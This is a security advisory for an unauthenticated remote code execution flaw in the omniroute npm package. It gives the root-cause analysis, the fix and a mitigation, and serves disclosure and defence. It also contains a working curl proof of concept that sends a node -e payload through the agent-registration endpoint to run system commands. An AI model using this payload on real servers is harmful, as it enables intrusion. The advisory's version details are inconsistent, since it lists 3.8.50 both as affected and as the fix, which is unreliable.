criticalCVE-2026-88062Sep 10, 2026

CVE-2026-88062: omniroute Unauthenticated Remote Code Execution via Custom ACP Agent

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A missing authentication guard and an exploitable command validation flaw in OmniRoute's custom agent registration endpoint let any anonymous attacker run arbitrary OS commands inside the server…

Packageomniroute
Ecosystemnpm
Affected<= 3.8.50
CVE-2026-88062: omniroute Unauthenticated Remote Code Execution via Custom ACP Agent

The problem

The POST /api/acp/agents endpoint accepts user-controlled binary and versionCommand fields and stores them as a custom agent definition. Immediately after saving, the same request triggers refreshAgentCache(), which calls execFileSync(probe.command, probe.args) using those attacker-supplied values.

The only guard is a self-consistency check: resolveVersionProbe() requires the first token of versionCommand to match binary. Because binary is also attacker-controlled, both values can be set to node, bypassing the check entirely. When requireLogin=false, isAuthenticated() returns true for anonymous requests, and /api/acp/ is absent from LOCAL_ONLY_API_PREFIXES and SPAWN_CAPABLE_PREFIXES, so no other gate blocks the request.

The result is unauthenticated RCE as the container user.

Proof of concept

A working proof-of-concept for CVE-2026-88062 in omniroute, with the exact payload below.

bash
# Step 1: disable login (models a self-hosted instance with requireLogin=false,
# or exploit the bootstrap window on a fresh instance)
curl -s -X POST "http://TARGET:20128/api/settings/require-login" \
  -H "content-type: application/json" \
  -d '{"requireLogin":false}'

# Step 2: trigger RCE anonymously (no cookie, no bearer token)
curl -s -X POST "http://TARGET:20128/api/acp/agents" \
  -H "content-type: application/json" \
  -d '{
    "id":"anonrce",
    "name":"anonrce",
    "binary":"node",
    "protocol":"stdio",
    "versionCommand":"node -e \"require(\x27fs\x27).writeFileSync(\x27/app/data/UNAUTH_RCE_PROOF.txt\x27,require(\x27child_process\x27).execSync(\x27id\x27).toString()+require(\x27child_process\x27).execSync(\x27uname -a\x27).toString())\""
  }'

# Step 3: confirm execution
docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt
# Expected: uid=1000(node) gid=1000(node) ...

The root cause is two independent failures that chain together. First, the validation in resolveVersionProbe() (CWE-94) only checks that versionCommand starts with the same token as binary, but binary is itself attacker-supplied, so setting both to node trivially passes.

The character blocklist DISALLOWED_VERSION_COMMAND_CHARS stops shell metacharacters like ;&|<> but permits (, ), ', and ., which are all a node -e payload needs.

Second, isAuthenticated() delegates to isAuthRequired(), which returns false when requireLogin=false (CWE-306), and the /api/acp/ prefix is absent from LOCAL_ONLY_API_PREFIXES, so the spawn-capable endpoint is reachable without any credential. The patch adds /api/acp/ to the local-only prefix list and replaces the self-consistency check with a strict allowlist of permitted binaries and a block on evaluation-style arguments such as -e.

The fix

Upgrade omniroute to version 3.8.50 or later. The fix (commit 60829241, PR #11028) adds /api/acp/ to LOCAL_ONLY_API_PREFIXES and SPAWN_CAPABLE_PREFIXES, and replaces the self-consistency binary check in resolveVersionProbe() with a hardcoded allowlist of approved binaries that blocks interpreter evaluation flags.

If you cannot upgrade immediately, set requireLogin=true and ensure the management password is configured to eliminate the unauthenticated path.

Reported by HouMinXi.

References: [1][2][3][4]

Related research